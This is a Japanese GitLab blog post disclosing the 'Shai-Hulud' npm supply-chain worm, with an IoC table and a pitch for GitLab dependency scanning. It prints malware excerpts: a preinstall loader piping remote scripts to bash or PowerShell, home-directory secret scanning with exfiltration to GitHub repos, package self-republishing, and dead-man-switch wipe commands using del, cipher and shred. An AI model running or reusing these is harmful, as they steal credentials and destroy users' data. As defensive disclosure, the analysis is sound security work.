公開:2025年11月24日

14分で読めます

GitLabがnpmサプライチェーンへの大規模攻撃を発見

攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。

GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「Shai-Hulud」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。

初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「デッドマンスイッチ」メカニズムが含まれていることが判明しました。

GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。

攻撃の内部

当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。

  • GitHub、npm、AWS、GCP、Azureから認証情報を収集
  • 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出
  • 被害者が所有する他のパッケージを自動的に感染させることで伝播
  • マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む

複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。

技術的分析:攻撃の展開プロセス

攻撃の展開プロセスを示すMermaidチャート

初期感染ベクトル

マルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、setup_bun.jsを参照するpreinstallスクリプトを含む、変更されたpackage.jsonが含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。

// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // bunをダウンロードしてインストールします
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // 実際のマルウェアを実行します
  runExecutable(bunPath, ['bun_environment.js']);
}

setup_bun.jsローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされたbun_environment.jsペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。

認証情報の収集

実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。

  • GitHubトークン:環境変数とGitHub CLI構成を検索し、ghp_(GitHub個人アクセストークン)またはgho_(GitHub OAuthトークン)で始まるトークンを探します
  • クラウド認証情報:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します
  • npmトークン:.npmrcファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です
  • ファイルシステムスキャン:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します
async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // ユーザーのホームディレクトリでシークレットをスキャンします
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // 検出結果を流出用リポジトリにアップロードします
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

データ流出ネットワーク

マルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。

async function createRepo(name) {
  // 特定の説明マーカーを持つリポジトリを作成します
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: "Sha1-Hulud: The Second Coming.", // 後でリポジトリを見つけるためのマーカー
    private: false,
    auto_init: false,
    has_discussions: true
  });
  
  // 永続性のためにGitHub Actions Runnerをインストールします
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/{owner}/{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // セルフホストRunnerをインストールします
  }
  
  return repo;
}

重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。

// マルウェアネットワークがトークンを共有する方法:
async fetchToken() {
  // 識別マーカーを持つリポジトリをGitHubで検索します
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
  
  // 侵害されたリポジトリからトークンを取得しようとします
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // 別の感染したシステムのトークンを使用します
    }
  }
  return null;  // ネットワーク内に有効なトークンが見つかりませんでした
}

サプライチェーン伝播

盗まれたnpmトークンを使用して、マルウェアは次のことを行います。

  1. 被害者が保守するすべてのパッケージをダウンロード
  2. 各パッケージのpreinstallスクリプトにsetup_bun.jsローダーを注入
  3. 悪意のあるbun_environment.jsペイロードをバンドル
  4. パッケージのバージョン番号をインクリメント
  5. 感染したパッケージをnpmに再公開
async function updatePackage(packageInfo) {
  // 元のパッケージをダウンロードします
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // package.jsonを抽出して変更します
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // 悪意のあるpreinstallスクリプトを追加します
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // バージョンをインクリメントします
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // バックドアインストーラーをバンドルします
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // 再パッケージ化して公開します
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

デッドマンスイッチ

当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。

マルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、shredを使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。

// 重要:トークンの検証失敗が破壊をトリガーします
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // GitHubアクセスを見つけるか作成しようとします
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します
    
    if (!fetchedToken) {  // GitHubアクセスが不可能です
      if (npmToken) {
        // npmの伝播のみにフォールバックします
        await El(npmToken);
      } else {
        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません
        console.log("Error 12");
        if (platform === "windows") {
          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // 削除されたデータを上書きします
          ]);
        } else {
          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // 上書きして削除します
            "find \"$HOME\" -depth -type d -empty -delete"  // 空のディレクトリを削除します
          ]);
        }
        process.exit(0);
      }
    }
  }
}

これにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。

侵害の痕跡

検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。

タイプ 痕跡 説明
ファイル bun_environment.js node_modulesディレクトリ内の悪意のあるpost-installスクリプト
ディレクトリ .truffler-cache/ Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ
ディレクトリ .truffler-cache/extract/ バイナリ抽出に使用される一時ディレクトリ
ファイル .truffler-cache/trufflehog ダウンロードされたTrufflehogバイナリ(Linux/Mac)
ファイル .truffler-cache/trufflehog.exe ダウンロードされたTrufflehogバイナリ(Windows)
プロセス del /F /Q /S "%USERPROFILE%*" Windowsの破壊的ペイロードコマンド
プロセス shred -uvz -n 1 Linux/Macの破壊的ペイロードコマンド
プロセス cipher /W:%USERPROFILE% ペイロード内のWindows安全削除コマンド
コマンド curl -fsSL https://bun.sh/install | bash npmパッケージインストール中の不審なBunインストール
コマンド powershell -c "irm bun.sh/install.ps1|iex" PowerShell経由のWindowsBunインストール

GitLabでこのマルウェアキャンペーンを検出する方法

GitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。

まず、依存関係スキャンを有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。**package-lock.jsonまたはyarn.lockファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。**完全なセットアップ手順については、依存関係スキャンのドキュメントを参照してください。

有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。

次に、GitLab Duo Chatを依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンからセキュリティアナリストエージェントを選択し、次のような質問をするだけです。

  • 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」
  • 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」
  • 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」
  • 「JavaScript依存関係の重大な脆弱性を表示してください。」

エージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。

GitLabセキュリティアナリストエージェントの検出結果

多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。

今後の展望

このキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。

GitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。

ご意見をお寄せください

このブログ記事を楽しんでいただけましたか?ご質問やフィードバックがあればお知らせください。GitLabコミュニティフォーラムで新しいトピックを作成してあなたの声を届けましょう。
Share your feedback

フォーチュン100企業の50%以上がGitLabを信頼

より優れたソフトウェアをより速く提供

インテリジェントなDevSecOpsプラットフォームで

チームの可能性を広げましょう。